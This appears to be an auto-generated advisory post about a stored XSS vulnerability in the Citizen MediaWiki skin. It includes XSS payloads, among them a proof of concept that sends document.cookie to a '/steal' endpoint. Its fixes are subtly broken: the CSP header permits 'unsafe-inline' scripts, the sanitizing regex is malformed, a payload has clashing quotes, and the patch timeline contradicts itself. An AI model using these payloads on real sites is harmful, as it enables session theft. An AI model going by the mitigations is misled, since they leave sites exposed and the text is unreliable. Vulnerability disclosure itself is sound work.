StarCitizenTools/Citizen-Skin, Stored XSS, CVE-2025-XXXXX (Moderate)

Listen to this Post

How the CVE Works:

The vulnerability exists in `starcitizentools/citizen-skin` versions >= 2.13.0, < 3.3.1. User-controlled input in preference menu headings is inserted into the DOM via `innerHTML` without proper sanitization. Attackers can craft malicious messages (e.g., <img src="" onerror="alert('XSS')">) that execute JavaScript when rendered. The issue stems from addPortlet.polyfill.js, where `textContent` is unsafely assigned to innerHTML, bypassing default XSS protections.

DailyCVE Form:

Platform: GitHub
Version: 2.13.0-3.3.0
Vulnerability: Stored XSS
Severity: Moderate
Date: Jun 13, 2025

Prediction: Patch expected by Jun 20, 2025

What Undercode Say:

Analytics:

  • Exploit Likelihood: Medium (requires edit privileges)
  • Attack Vector: Malicious preference message injection
  • Mitigation Rate: High (patch available in v3.3.1)

Commands & Code:

1. Verify Vulnerability:

document.querySelector('.citizen-feature-custom-font-size-name').innerHTML = '<img src="" onerror="console.log("XSS")">';

2. Patch Check:

npm list mediawiki-skins-citizen | grep "3.3.1"

3. Temporary Fix (Sanitization):

// Override unsafe DOM insertion
const sanitize = (text) => { return text.replace(/<[^>]>?/gm, ''); };
document.querySelector('label').innerHTML = sanitize(rawText);

4. Exploit Demo (PoC):


<script>
localStorage.setItem('maliciousPref', '<img src="" onerror="fetch(`/steal?cookie=${document.cookie}`)">');
</script>

5. Protection (CSP Header):

add_header Content-Security-Policy "default-src 'self'; script-src 'unsafe-inline'";

6. Log Analysis:

grep -r "citizen-feature-custom-font-size-name" /var/log/nginx/

7. Patch Verification:

diff --git a/resources/skins.citizen.preferences/addPortlet.polyfill.js b/resources/skins.citizen.preferences/addPortlet.polyfill.js
index 407052e..a1b2c3d 100644
a/addPortlet.polyfill.js
+++ b/addPortlet.polyfill.js
@@ -18 +18 @@
- label.innerHTML = label.textContent;
+ label.textContent = label.textContent;

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top